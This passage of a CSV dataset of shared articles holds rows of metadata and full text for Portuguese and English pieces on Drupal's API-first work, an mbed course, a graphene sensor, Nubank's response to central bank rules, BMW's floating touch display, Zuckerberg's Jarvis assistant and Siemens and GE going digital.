tempo antes de escrever melhor sobre esta série (Westworld e Rogue One ainda pedem explicações), mas se você já assistiu à série, comente o que achou sobre ela aí embaixo.",pt
1482182033,CONTENT SHARED,-2715495584815099454,3891637997717104548,-6788784490865177162,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.100 Safari/537.36",SP,BR,HTML,http://buytaert.net/improving-drupal-8-api-first-json-api-oauth2,Improving Drupal 8's API-first: JSON API and OAuth2?,"Among the most important initiatives for Drupal 8's future is the ""API-first initiative"", whose goal is to improve Drupal's web services capabilities for building decoupled applications. In my previous blog posts, I evaluated the current state of, outlined a vision for, and mapped a path forward for Drupal's web services solutions. In the five months since my last update , web services in Drupal have moved forward substantially in functionality and ease of use. This blog post discusses the biggest improvements. An overview of the key building blocks to create web services in Drupal. Out of the box, Drupal core can expose raw JSON structures reflecting its internal storage, or it can expose them in HAL. Note: Waterwheel has an optional dependency on JSON API if JSON API methods are invoked through Waterwheel.js. Core REST improvements With the release of Drupal 8.2, the core REST API now supports important requirements for decoupled applications. First, you can now retrieve configuration entities (such as blocks and menus) as REST resources. You can also conduct user registration through the REST API. The developer experience of core REST has improved as well, with simplified REST configuration and better response messages and status codes for requests causing errors. Moreover, you can now access Drupal content from decoupled applications and sites hosted on other domains thanks to opt-in cross-origin resource sharing (CORS) support. This is particularly useful if you have a JavaScript application hosted directly on AWS, for instance, while your Drupal repository is hosted on a separate platform. Thanks to all this progress, you can now build more feature-rich decoupled applications with Drupal. All of these improvements are thanks to the hard work of Wim Leers (Acquia), Ted Bowman (Acquia), Daniel Wehner (Chapter Three), Clemens Tolboom , José Manuel Rodríguez Vélez , Klaus Purer , James Gilliland (APQC), and Gabe Sullice (Aten Design Group). JSON API as an emerging standard JSON API is a specification for REST APIs in JSON which offers several compelling advantages over the current core REST API. First, JSON API provides a standard way to query not only single entities but also all relationships tied to that entity and to perform query operations through query string parameters (for example, listing all tags associated with an article). Second, JSON API allows you to fetch lists of content entities (including filtering, sorting and paging), whereas the only options for this currently available in core are to issue multiple requests, which is undesirable for performance, or to query Drupal views, which require additional work to create. Moreover, JSON API is increasingly common in the JavaScript community due to its adoption by developers creating REST APIs in JSON and by members of both the Ruby on Rails and Ember communities. In short, the momentum outside of Drupal currently favors JSON API over HAL. It's my belief that JSON API should become an experimental core module, and it may one day potentially even supersede HAL, Views-based REST endpoints, and more. Though Views REST exports will always be valuable for special needs, JSON API is suitable for more common tasks due to query operations needing no additional configuration. All this being said, we should discuss and evaluate the implications of prioritizing JSON API. Thanks to the efforts of Mateu Aguiló Bosch (Lullabot) and Gabe Sullice (Aten Design Group), the JSON API module in Drupal 8 is quickly approaching a level of stability that could put it under consideration as a core experimental module. OAuth2 bearer token authentication One of the issues facing many decoupled applications today is the lack of a robust authentication mechanism when working with Drupal's REST API. Currently, core REST only has two options available out of the box, namely cookie-based authentication, which is unhelpful for decoupled applications on domains other than the Drupal site, and basic authentication , which is less secure than other mechanisms. Due to its wide acceptance, OAuth2 seems a logical next step for Drupal sites that need to authenticate requests. Because it is more secure than what is available in core REST's basic authentication, OAuth2 would help developers build more secure decoupled Drupal architectures and allow us to deprecate the other less secure approaches. It would make sense to see an OAuth2 solution such as Simple OAuth , the work of Mateu Aguiló Bosch (Lullabot), as an experimental core module, so that we can make REST APIs in Drupal more secure. Waterwheel, Drupal's SDK ecosystem The API-first initiative's work goes beyond making improvements on the Drupal back end. Acquia released Waterwheel.js 1.0 as open-source, the first iteration of a helper SDK for JavaScript developers. The Waterwheel.js SDK helps JavaScript developers perform requests against Drupal without requiring extensive knowledge of how Drupal's REST API functions. For example, the Waterwheel module allows you to benefit from resource discovery, which makes your JavaScript application aware of Drupal's data model. Waterwheel.js also integrates easily with the JSON API contributed module. Thanks to Kyle Browning (Acquia), the Waterwheel.swift SDK allows developers of applications for Apple devices such as iPads, iPhones, Apple Watches, and Apple TVs to more quickly build their Drupal-powered applications. To learn more about the Waterwheel ecosystem , check the blog posts by Preston So (Acquia). Conclusion Thanks to the hard work of the many contributors involved, the API-first initiative is progressing with great momentum. In this post, we ended with the following conclusions: The JSON API and Simple OAuth modules could be candidates for inclusion in Drupal 8 core - this is something we should discuss and evaluate. We should discuss where support for HAL and JSON API stops and starts, because it helps us focus our time and effort. If you are building decoupled applications with Drupal 8, we would benefit significantly from your impressions of the core REST API and JSON API implementations now available. What features are missing? What queries are difficult or need work? How can we make the APIs more suited to your requirements? Use the comments section on this blog post to tell us more about the work you are doing so we can learn from your experiences. Of course, if you can help accelerate the work of the API-first initiative by contributing code, reviewing and testing patches, or merely by participating in the discussions within the issues, you will not only be helping improve Drupal itself; you'll be helping improve the experience of all developers who wish to use Drupal as their ideal API-first back end. Special thanks to Preston So for contributions to this blog post and to Wim Leers , Angie Byron , Ted Bowman and Chris Hamper for their feedback during the writing process.",en
1482242374,CONTENT SHARED,-2462651558329037716,3609194402293569455,-47033132540303420,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.embarcados.com.br/curso-mbed-na-kl25z/,Curso mbed na KL25Z - Primeiros passos - Embarcados,"Desenvolvemos um curso no estilo faça você mesmo que permite que uma pessoa possa dar os primeiros passos no uso da plataforma online de desenvolvimento ARM mbed . Para esse curso mbed nós escolhemos a plataforma de hardware da NXP KL25Z e exploramos diversos recursos presentes na placa. O mbed é uma plataforma online que permite que se programe abstraindo o hardware e permite que se reaproveite código de outros desenvolvedores de forma simples. Dezenas de placas são suportadas por essa plataforma, que está em constante evolução e, portanto, independente da placa utilizada nesse treinamento, o conhecimento absorvido nesse curso pode ser aplicado a sistemas com microcontroladores de outros fabricantes. Conteúdo do Curso mbed e FRDM KL25Z da NXP Esse é um curso preparado para o público inciante, onde é possível se ambientar na plataforma mbed e conhecer a placa NXP FRDM KL25Z . Confira a ementa simplificada do curso: Apresentação do hardware a ser usado durante o curso; Apresentação do esquemático da placa; Apresentação do ARM mbed; Como fazer o login no mbed; Como fazer o primeiro programa - piscar um led; Como testar um recurso da placa utilizando um projeto pré-configurado - experiência com acelerômetro; Como fazer um novo projeto importando uma biblioteca de terceiro - exemplo com slider e led RGB. Para fazer o curso é necessário o seguinte setup: Computador com acesso à Internet e porta USB disponível - Não recomendamos Mac e Windows 10 para esse curso; Placa NXP FRDM KL25Z; Cabo USB para conexão à placa. Confira abaixo o curso completo: Aprenda mais Conheça a FRDM KL25Z da NXP Utilizando o acelerômetro e LED RGB da FRDM KL25Z no mbed",pt
1482244153,CONTENT SHARED,-4608017393995766765,3609194402293569455,-47033132540303420,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://spectrum.ieee.org/nanoclast/biomedical/devices/graphene-and-silly-putty-creates-a-supersensitive-strain-sensor,Graphene and Silly Putty Creates a Super-Sensitive Strain Sensor,"Photo: AMBER/Trinity College Dublin For all the talk and research that has gone into exploiting graphene's pliant properties for use in wearable and flexible electronics , most of the polymer composites it has been mixed with to date have been on the hard and inflexible side. It took a team of researchers in Ireland to combine graphene with the children's toy Silly Putty to set the nanomaterial community ablaze with excitement. The combination makes a new composite that promises to make a super-sensitive strain sensor with potential medical diagnostic applications. In research described in the journal , scientists at AMBER , the Science Foundation Ireland-funded materials science research center based at Trinity College Dublin, discovered that if you added nanosheets into a low-viscosity material like silly putty, its electromechanical properties dramatically changed. You suddenly have an extremely sensitive strain sensor. When you apply a voltage to the graphene-infused silly putty, the slightest touch results in a very large change in the current. Voila a strain sensor. ""If you take the silly putty and stretch it just by one percent, then the current would change by a factor of five: that's a very small mechanical change with a very big electrical change,"" says Jonathan Coleman, the professor at Trinity College Dublin, who led the research. In tests with the graphene-enabled putty, the researchers placed the composite onto the people's chests and necks to measure breathing, pulse, and blood pressure. The results demonstrated an unprecedented sensitivity for a strain and pressure sensor, hundreds of times more sensitive than other sensors. ""What we found is that when you put graphene in extremely soft polymers like this, they act as strain sensors that are light years ahead of anything that had been created before,"" says Coleman. ""And this is intimately linked with the fact that these polymers are so soft."" What is surprising about this line of research is that there has been so few investigations previously looking at combining graphene with a low-viscosity polymer. Graphene has been put in many different polymers to make composites, but the vast majority of those polymers are at the harder end of the spectrum. This practice is typically driven by the aim of adding graphene to a strong, hard polymer to make it even stronger and harder. While there has been some work in putting graphene into soft polymers, no one has put graphene into polymers anywhere near as soft as silly putty. The softest polymer that people had put graphene in previously would be something like rubber, according to Coleman. Just as there has been a lot of work into adding graphene to polymers, the use of graphene to make a polymer a strain sensor has some history as well. But no one was quite expecting that these softer materials would enhance the effect so profoundly. ""We knew that there had been very little work done in this area,"" said Coleman. ""But I have to be completely honest, we didn't know that the material would have the interesting properties that we saw in the end result."" While Coleman believes that there is a wide range of medical sensing applications for the material, by far the most clear-cut and important example would be the continuous measurement of pulse and blood pressure. ""We can measure pulse in a relatively straightforward way,"" he says. ""There are a number of ways to do it. But we can measure blood pressure simply, cheaply and continuously."" You can see a demonstration of this blood pressure monitoring in the video below: Coleman is pretty confident that the path to commercialization for this technology is pretty clear with no major obstacles in sight. ""First of all you would have to have a commercial supply of the material; I don't see that as challenging,"" said Coleman. ""There are many commercial suppliers of graphene that can produce graphene in large quantities. And, of course, silly putty is commercially available. The procedure of mixing the two components together is fairly straightforward and that could certainly be industrialized. So making the material is not a problem."" Engineering the sensing device would be a bit more of a challenge. Coleman explains that you would have to make some kind of housing that could be worn on the wrist and would have the sensing material inside of it. Then you would need the electronics to generate the current and measure the changes in it. You would also need some kind of communication system that would send the signal to a mobile phone where you would need an app to collect and analyze the data. ""To be completely honest, all of that stuff is not that far from being off-the-shelf,"" he says. ""I don't think there is a great engineering challenge in this work. So really we are actually quite close to the ability to commercialize this material."" While the strain sensor that Coleman and his colleagues have developed is sensitive, he believes that this research opens up an entirely new way of making composites that will lead to far more sensitive sensing technologies in the future. ""What we really want to do is to go on to the next generation of sensing,"" he says. ""We have extremely sensitive materials here, but we see an opportunity to make composites in a different way using different polymers that are up to a factor of ten more sensitive than the ones we have created here.""",en
1482246233,CONTENT SHARED,8659918766210334195,3609194402293569455,-47033132540303420,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://trendwatching.com/trends/5-latin-trends-2017/,5 Latin Trends for 2017 | TrendWatching,"The not-so-secret secret to spotting trends (including the five in this Trend Briefing)? Stop watching customers and start watching the innovations - products, services, campaigns - flooding into the market now. Draw lines between similar innovations, and interrogate them for the new customer expectations they're helping to create. If that sounds like your thing, you'll find the end-to-end guide to our complete methodology in our book, Trend-Driven Innovation . But your next question might be 'how do we process the thousands of innovations out there?' Well, it helps to have a Trend Framework... While it's our job just to watch trends, ambitious business professionals should read these trends with only one thing in mind: how to apply these trends and create compelling new innovations that will delight your customers (and win new ones!). We can help with that too! Yes, customers have never been more demanding. Yes, there's never been more competition. Blah blah blah. None of this is going away in 2017 (or 2018, or 2019...). However, trends are the secret weapon that help you turn this overwhelm to your advantage. But you already knew that ;) So, take our CONSUMER TREND CANVAS , a free one-page guide to analyzing and applying trends. Dive into its simple, practical, step-by-step process to creating innovations that are deeply grounded in what customers want, desire and expect. Then win.",en
1482246333,CONTENT SHARED,-4738242186452730534,3609194402293569455,-47033132540303420,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.mundodomarketing.com.br/index.php/ultimas-noticias/37022/a-compra-de-alimentos-online-e-nova-fronteira-do-e-commerce-mundial.html,A compra de alimentos online é nova fronteira do e-commerce mundial,"Por Daniel D'Andrea e Rafael D'Andrea | 15/12/2016 Novos modelos de venda e entrega de mercadorias, adquiridas principalmente via plataformas digitais, estão pouco a pouco abocanhando parcelas expressivas do mercado de varejo, incluindo o de produtos de mercearia e perecíveis, tradicionalmente oferecidos por supermercados. Além da evidente popularização do acesso à internet, e dos smartphones, três outros fatores ajudam a explicar esta mudança de comportamento, que deve continuar cada vez mais forte nos próximos anos: a ""uberização"" (adoção da economia compartilhada) como plataforma de negócios; a chegada das novas gerações (Y-Z) ao mercado consumidor; e o uso cada vez maior de meios de pagamento ditos ""non-cash"", tais como cartões de crédito e débito, e-wallets e moedas virtuais. Cada vez mais comuns em diversos setores, a ""uberização"" dos modelos de negócios reflete uma tendência na qual empresas não possuem ativos e empregados diretos em tempo integral. A adoção da economia compartilhada tende a ser cada vez mais forte, e já é utilizada por gigantes do varejo como a americana WholeFoods, que recentemente fez parceria com a instacart.com para usar sua plataforma, possibilitando que seus clientes possam ter concierges (que realizam as compras) e entregadores baseados nos princípios da economia compartilhada para chegarem com os produtos frescos até seus clientes. Segundo pesquisa da Nielsen internacional, aproximadamente 30% das pessoas das novas gerações já estão realizando compras on line de supermercado, sendo que cerca de 20% delas possuem algum tipo de assinatura automática de reabastecimento de itens de consumo cotidiano. Adicionalmente, parte destes clientes já compra via supermercados virtuais. Por outro lado, a integração de meios de pagamento com apps e e-wallets tem tornado mais fácil e conveniente a realização dessas compras (Global Payments Report-2020). Além disso, opções de pagamento do tipo ""one-click"" permitem maior agilidade nas compras realizadas principalmente via celulares. Existe uma grande demanda reprimida por compras... Para continuar, assine um dos nossos planos ou cadastre-se para ter + 3 conteúdos grátis do acervo*. Assinante Mundo do Marketing tem muito mais vantagem! Assinar Agora *Cases, reportagens, blogs, artigos e entrevistas Já é assinante/cadastrado? Faça o login para ver o conteúdo:",pt
1482246361,CONTENT SHARED,-7655127094029937288,3609194402293569455,-47033132540303420,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.b9.com.br/68939/inovacao/bmw-mostra-conceito-de-tela-touch-flutuante-em-paineis-automotivos/,BMW mostra conceito de tela touch flutuante em painéis automotivos,"A BMW divulgou novos detalhes de seu novo conceito HoloActive Touch . A interface cria um campo virtual touch flutuante, com ode facilitar a vida do usuário ao navegar por menus e aplicações no trânsito. Todo o projeto faz parte do sistema AirTouch apresentado na CES do ano passado. O sistema funciona com os aplicativos que já fazem parte da estrutura da BMW, que disse que pela primeira vez, as funções podem ser controladas sem algum contato físico com materiais. O HoloActive Touch, além da projeção sensível ao toque, também possibilita uma tela touchscreen convencional. Toda a interface realmente ""flutua"" sobre o painel, ao contrário de outros sistemas que utilizam de reflexos para criar a ilusão de um display flutuante. Há uma câmera que detecta os dedos do motorista e faz a interação com o software. Segundo a empresa, o usuário receberá uma resposta tátil a cada vez que uma ação seja efetuada, mas ainda não se sabe como essa resposta será entregue. O HoloActive Touch deve ser anunciado na próxima CES, daqui algumas semanas, e não deve ser a única novidade revolucionária da BMW.",pt
1482254995,CONTENT SHARED,457505998997890101,-1372859690779491423,6064207567581745502,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.100 Safari/537.36",SP,BR,HTML,http://www.infomoney.com.br/negocios/grandes-empresas/noticia/5942771/nubank-pronuncia-sobre-possibilidade-ser-fechado-decisao-leia-integra,Nubank se pronuncia sobre possibilidade de ser fechado e decisão do BC; leia na íntegra,"SÃO PAULO - Nesta terça-feira (20), após o Banco Central confirmar que não haverá uma mudança imediata nas regras de pagamento aos lojistas, diferentemente do que se suspeitava, o Nubank se pronunciou em sua página do Facebook . Eles ressaltam que ""essa mudança aumentaria significativamente a necessidade de capital dos emissores de cartão de crédito "" e que empresas como o Nubank, desvinculadas dos grandes bancos , ""seriam muito prejudicadas"". Antes da coletiva de imprensa, realizada ainda na manhã desta terça-feira, a cofundadora da empresa, Cristina Junqueira, havia afirmado que a redução do prazo de 30 para 2 dias ocasionaria no fim do negócio do Nubank . ""Chega a ser irônico que uma medida com o objetivo de estimular a economia e beneficiar a sociedade possa ter o efeito contrário: o de colocar em risco a concorrência . Temos convicção de que a livre concorrência é a única fonte sustentável de mudanças para atacar as distorções desse marcado: mais competidores no mercado trazem mais alternativas de melhor qualidade e menor custo para consumidores e lojistas"", se explica a fintech na publicação. Também é mencionada a decisão do BC desta terça-feira. Durante a coletiva de imprensa, o presidente do BC, Ilan Goldfajn, comentou que as medidas serão anunciadas posteriormente e que o Banco trabalhará junto às fintechs e emissoras para determinar como as medidas serão implementadas. ""Com essa demonstração de que os nossos reguladores, que têm um papel tão importante para o funcionamento do nosso setor, estão comprometidos com o melhor para a economia e o país, podemos afirmar: o Nubank continua, e veio para ficar"", escreveu a fintech. ""Estamos comprometidos a navegar as mudanças e trabalhar com o Banco Central para garantir que vocês e cada vez mais brasileiros possam se beneficiar de uma experiência 100% digital"". A mudança que se especulava ser aprovada hoje previa a redução do prazo de pagamento de crédito aos lojistas de 30 para 2 dias, o que, para o Nubank e pequenas emissoras, poderia ser prejudicial. No caso da fintech, eles dependem dos 26 dias que os clientes levam para pagar sua fatura para conseguir repassar o valor às adquirentes e essas aos lojistas; o prazo de dois dias, portanto, seria inviável. Confira, abaixo, o pronunciamento do Nubank na íntegra: """"Desde ontem vocês devem ter visto notícias circulando nas redes sociais falando do potencial impacto de uma redução drástica no prazo de pagamento aos lojistas. De fato, o assunto é sério: como hoje os clientes pagam as suas faturas em média 26 dias depois de fazer suas compras , essa mudança aumentaria significativamente a necessidade de capital dos emissores de cartão de crédito. Empresas como o Nubank, que não estão associadas a grandes bancos com bilhões em caixa, seriam muito prejudicadas. E mesmo que conseguíssemos acesso a esse volume de recursos, isso colocaria em risco o nosso modelo de negócio, que é baseado em sermos altamente eficientes para não termos que cobrar tarifas ou juros absurdos. Apesar de entendermos a situação dos lojistas, especialmente no cenário recessivo do país, seria ingênuo imaginar que o custo desse capital não seria facilmente repassado para os próprios lojistas e consumidores através do aumento de outras tarifas e juros. Chega a ser irônico que uma medida com o objetivo de estimular a economia e beneficiar a sociedade possa ter o efeito oposto: o de colocar em risco a concorrência. Temos convicção de que a livre concorrência é a única fonte sustentável de mudanças para atacar as distorções desse mercado: mais competidores no mercado trazem mais alternativas de melhor qualidade e menor custo para consumidores e lojistas. Por isso foi importante chamar atenção para o que poderia ser o fim do Nubank e de tantas outras fintechs que trazem mudanças tão necessárias para uma indústria tão problemática. Ontem foram publicados mais de 30 artigos em grandes veículos da imprensa e dezenas de milhares de posts nas redes sociais, o que nos fizeram trend mundialmente, mostrando que a continuidade do Nubank de fato preocupa os brasileiros, tão carentes de empresas que tratem seus clientes com respeito e dignidade. Felizmente, o Banco Central mostrou hoje que não haverá nenhuma mudança abrupta ou unilateral nas regras de pagamento, e que trabalhará com os emissores, adquirentes, bandeiras e fintechs para definir como eventuais medidas podem ser implementadas de maneira sustentável, gradativa e sem prejudicar a competição, tão necessária nesse setor altamente concentrado. Com essa demonstração de que os nossos reguladores, que têm um papel tão importante para o funcionamento do nosso setor, estão comprometidos com o melhor para a economia e o país, podemos afirmar: o Nubank continua, e veio pra ficar. Apesar de só podermos afirmar se será necessário algum ajuste no nosso modelo de negócios depois da definição de como as mudanças serão implementadas, estamos comprometidos a navegar as mudanças e trabalhar com o Banco Central para garantir que vocês e cada vez mais brasileiros possam se beneficiar de uma experiência 100% digital, eficiente e humana. Com isso esclarecido, precisamos agradecer o imenso apoio espontâneo dos nossos clientes e fãs em todas as redes sociais, que durante os últimos dois dias nos inundaram com mensagens positivas de amor, força e perseverança. Receber tanto carinho nos encheu de orgulho de todo o trabalho que estamos fazendo aqui e renovou a nossa confiança de que juntos continuaremos revolucionando não só a indústria de serviços financeiros, mas também as relações de consumo no Brasil. Abaixo selecionamos alguns dos mais bonitos e espirituosos tweets que recebemos ontem. Esperamos que vocês se sintam representados e também renovados com o depoimento de tantos Nus que não imaginam mais a vida sem o seu roxinho, e que continuem espalhando essa onda roxa por onde forem. #sounu mato e morro pelo @nubankbrasil Deixem meu cartão roxo em paz se o nubank acabar eu nem sei o q vou fazer mais, não sei mais voltar pra idade média dos cartões de crédito Você criou um negócio desruptivo e mexeu com grandes banqueiros. Volte 5 casas. N sei vcs mas eu aceitaria de boas pagar anuidade pro Nubank só pra n precisar voltar a usar o serviço bosta dos bancos Se o @nubankbrasil tiver que cobrar anuidade pra se manter no mercado, eu pagaria sem problemas. Não me veria usando outro cartão hoje. se 2016 levar o nubank também ai já da pra desistir de 2017 mesmo pq nao tem mais jeito Não quero viver num Brasil sem @nubankbrasil. Não deixe o @nubankbrasil morrer, não deixe o Nubank acabar :( @nubankbrasil pfvr n morra eu vou ficar muito na bad. Vocês são mais q um cartão. Vcs são tão lindos e cheirosos q vou chamar de família Independente do que venha acontecer, mas com esperança que aconteça o melhor, eu #SouNu. Parabéns pelo trabalho e pela competência que poucos tem! Nubank acabando tbm, é o apocalipse, vou deitar em posição fetal e esperar os aliens me abduzirem Se o @nubankbrasil morrer, monto minha cabana nas montanhas e nunca mais compro nada. Tô avisando...... OBRIGADO DE NADA #PAZ Rezando de hora em hora pro @nubankbrasil não acabar pois <3 @nubankbrasil queria mto que vcs continuassem no mercado depois da medida do governo. Pagaria anuidade a vcs mas não voltaria aos bancos. Mais amor no nosso mural NuLove: """,pt
1482261920,CONTENT SHARED,1580124381109623727,3609194402293569455,-47033132540303420,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.b9.com.br/69113/tech/zuckerberg-mostra-em-video-do-que-sua-inteligencia-artificial-jarvis-e-capaz/,Zuckerberg mostra em vídeo do que sua inteligência artificial 'Jarvis' é capaz,"No vídeo acima vemos uma demonstração do Jarvis, que além de ser um personagem no universo dos filmes da Marvel, também é o nome da inteligência artificial criada por Mark Zuckerberg para governar sua casa. Num post publicado ontem ele explica detalhadamente como o assistente foi construído e hoje vemos o potencial, com a participação de uma voz bastante conhecida. O clipe não passa de uma brincadeira, como Mark avisa nos comentários do próprio post. Ele diz que 'não é uma demonstração' e sim um resumo das principais funcionalidades da sua inteligência artificial, como fazer torradas e autorizar a entrada de pessoas na sua casa usando reconhecimento facial. Zuck pede ao final do clipe que as pessoas publiquem comentários com sugestões do que ele deve incluir no Jarvis. O projeto, por sinal, demorou um ano para ser concluído.",pt
1482262720,CONTENT SHARED,4866620033136147586,2416280733544962613,5188211260912269757,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",WA,US,HTML,http://www.economist.com/news/business/21711079-american-industrial-giant-sprinting-towards-its-goal-german-firm-taking-more,Siemens and General Electric gear up for the internet of things,"IT DOESN'T take long to walk from Siemens's old headquarters in Munich to its new one, inaugurated in June: the German industrial conglomerate has built it right next door. The design is cutting-edge, as are the building's environmental features. It is packed with energy-saving sensors; channelled rainwater is used to flush the toilets. General Electric, Siemens's big American rival, will soon have a new base, too. But it takes three hours to drive from the old site in Fairfield, a Connecticut suburb, to the new one in Boston. Its building will also boast plenty of green technology, such as a huge canopy made of solar panels, as well as spaces that the public can enter, including co-working areas and lounges. There will be laboratories both for internal startups and some from outside. The two industrial giants aren't so much showing off as signalling transformation. Both firms are going through the most profound change in their corporate histories, attempting to switch from being makers of machines into fully digital businesses. GE's chief executive, Jeff Immelt, says the plan is to join the world's top ten software firms with sales of programs and services worth $15bn as early as 2020. It is tempting to bracket the firms together for other reasons, too. The basic numbers make them look alike. With annual revenues of around $100bn each, they are the world's two largest diversified industrial conglomerates. About 70% of their markets overlap with each other, reckons J.P. Morgan, a bank. But the similarities only go so far. GE mostly sells big, stand-alone products, such as jet engines and locomotives. It may look like a collection of distinct divisions, but it has a strong centre and can move swiftly. It is also greatly influenced by America's technology giants. Siemens, in contrast, excels in product design and factory automation. It already has experience in digitising the entire life cycle of an industrial product, from design to fabrication, so it is in some ways already more of an IT firm than GE (though it still has a very long way to go). The German firm is more decentralised, featuring competing centres of power. Its top managers prefer to weigh options carefully, not always with great results: Siemens is about half as profitable as the American firm. It is no surprise, then, that the two firms are also taking very different paths towards digitisation. GE is completely reinventing itself, whereas Siemens is staying close to its roots. What works best will be closely watched by other companies in all sorts of industries. They want to know what happens when operating technology, as represented by GE and Siemens, properly meets information technology. The first tends to be organised in vertical, industry-specific silos, such as machine tools and medical equipment. The second typically comes in horizontal, widely used layers, such as computer operating systems. Bringing it all together could go badly wrong. Data have long been crucial for manufacturing and industrial goods. Siemens digitises its customers' factories; a typical GE jet engine contains hundreds of sensors. But now the data are no longer binned when the widget comes out of the factory or the plane has landed. Thanks to faster internet connections, cloud computing and clever algorithms, information can now be easily collected, stored in huge ""data lakes"" and sifted for insights. That technology allows manufacturers to create what David Gelernter, a pioneering computer scientist at Yale University, over two decades ago imagined as ""mirror worlds"". GE wants to build a similar, ""virtual twin"" of every category of physical asset it sells, from locomotives to wind farms. This would allow engineers to test products before they are built and also let them feed the virtual model with real-world data to improve performance. ""A digital twin is not just a generic model but based on the exact conditions in the real world,"" explains Ganesh Bell, chief digital officer at GE Power. Not so byte-sized Although the efficiency gains for a single product may be relatively small, they can add up to billions of dollars in savings for customers over the lifetime of equipment. More broadly, linking the physical and the digital worlds via the ""internet of things"" (IoT) could create up to $11trn in economic value annually by 2025, estimates the McKinsey Global Institute, a think-tank. A third of that could be in manufacturing. It is not just the promise of such gains, however, that has prompted Siemens and GE to overhaul themselves. Digitisation is also a threat. If they do not satisfy customers' demands to replace machines less often and to spend less money on maintenance, others will. Big IT firms such as Google and IBM might come to control the virtual part of manufacturing by developing software and services to optimise factories and supply chains. That would slice off a big chunk of manufacturers' profits. GE's answer has been to invest billions since 2011 in a data platform called Predix. It wants the system to become for machines what Android is for smartphones: the dominant host of industrial ""apps"" to manage, for example, clusters of wind turbines and fleets of locomotives. GE has set up Predix to be ""open"", meaning that it doesn't only work with its own machines or its own apps. For example, Pitney Bowes, a maker of heavy-duty mailing systems and products, uses the platform to analyse data from its machines in order to manage them better. GE is also using Predix as a way to shake up its internal organisation. It set up a separate software unit in San Ramon, near Silicon Valley, to develop it. ""We incubated the unit separately because it would otherwise have been killed by the main organisation,"" explains Bill Ruh, who heads GE Digital. Only in September last year did it merge the startup with the company's other digital activities, including its entire IT department, to form Mr Ruh's unit. It interacts with all other GE businesses, making sure that an algorithm to control electric motors in a locomotive, say, can also be used for similar devices in a wind turbine or a power plant. GE is changing its culture in other ways, too. As an industrial conglomerate, the firm was known for its near-obsession with the Six Sigma management method. This uses statistics and incremental improvements to drive everything a company does close to perfection. Now GE wants workers to take a leaf from the world of startups and start making mistakes-an approach it is calling ""FastWorks"". The idea is to experiment more and to develop so-called minimum viable products that can be discarded quickly if they fail to take off. Change your Weltanschauung Siemens's digital transformation appears to be going more slowly (although that may be partly because its managers are less vocal about the firm's achievements). Its primary focus is still on software tailored to industry verticals, such as health care and manufacturing, rather than on a horizontal platform to fit all sectors. Only recently did it begin marketing MindSphere, its equivalent to Predix, more intensively. ""Our customers live in worlds that are very different from each other,"" explains Horst Kayser, the firm's head of strategy. Siemens is also keen not to displease an important group of customers: machine-tool makers that use components from Siemens. They want to maintain direct relationships with their own industrial customers, not have them interacting through a platform like MindSphere. Because MindSphere is less important inside Siemens than Predix within GE, the German firm's organisational changes have so far been less radical. But it is trying to open itself up to ideas from outside. Internal startups used to be at the mercy of its budgeting process, which often meant that they were the first to lose funding. In June the firm created a separate home for such projects, called next47 (Siemens was founded in 1847 in a Berlin courtyard), which is part-incubator, part-investment firm. It has hired an American to run it, but rather than basing it in the German capital, which boasts a thriving startup ecosystem, it will remain in Munich. Siemens has also started sending senior employees on so-called ""learning expeditions"" to startups to see how things can be done differently. Its employees are now encouraged to communicate across organisational boundaries and directly with bosses. The company would have to do much of this regardless of its priorities in the digital sphere; a reputation for being risk-averse and overly hierarchical is not the best way to attract young talent as Germany's population ages. In other IT markets, one firm has quickly come to dominate, whether in online search (Google), computer operating systems (Microsoft) or corporate databases (Oracle). That seems to argue in favour of a gung-ho approach. GE is already well on its way to creating an ""ecosystem"" for Predix, says Nicholas Heymann of William Blair, an investment bank. It has agreed partnerships with big telecoms operators, consultancies and IT-services companies, not least to gain access to outside data sources. Yet the consumer world and that of business differ. Online search and social-networking services are easy to scale, because human beings' needs are similar across the world. Particular industries and companies, on the other hand, often have specific requirements that call for customised products-not for a platform that is trying to be all things to all machines. That may help Siemens's more tailored, customer-centric approach. Siemens's attitude to its industrial customers' data may also work better than GE's. Whereas individual consumers are by and large willing to give up personal information to one platform, such as Google or Facebook, most companies try to avoid such lock-in. Whether they are makers of machine tools or operators of a factory, they jealously guard their data because they know how much they are worth. Both GE and Siemens say their customers will keep control of their data in the new digitised world, but the real question is who will own the algorithms that are generated using these data. GE claims ownership, Siemens is much less categorical. It is thus unlikely that a single platform will come to dominate the industrial internet. There will be plenty of room for Predix, MindSphere and other services, concludes Andreas Willi of J.P. Morgan. Nonetheless GE seems better prepared for a digital future. The firm now has a flexible organisation that can change course quickly. Siemens, by contrast, is still living in a more closed vertical world. Both new headquarters feature small museums displaying the firms' roots. No prize for guessing which one you can visit strictly by appointment only.",en
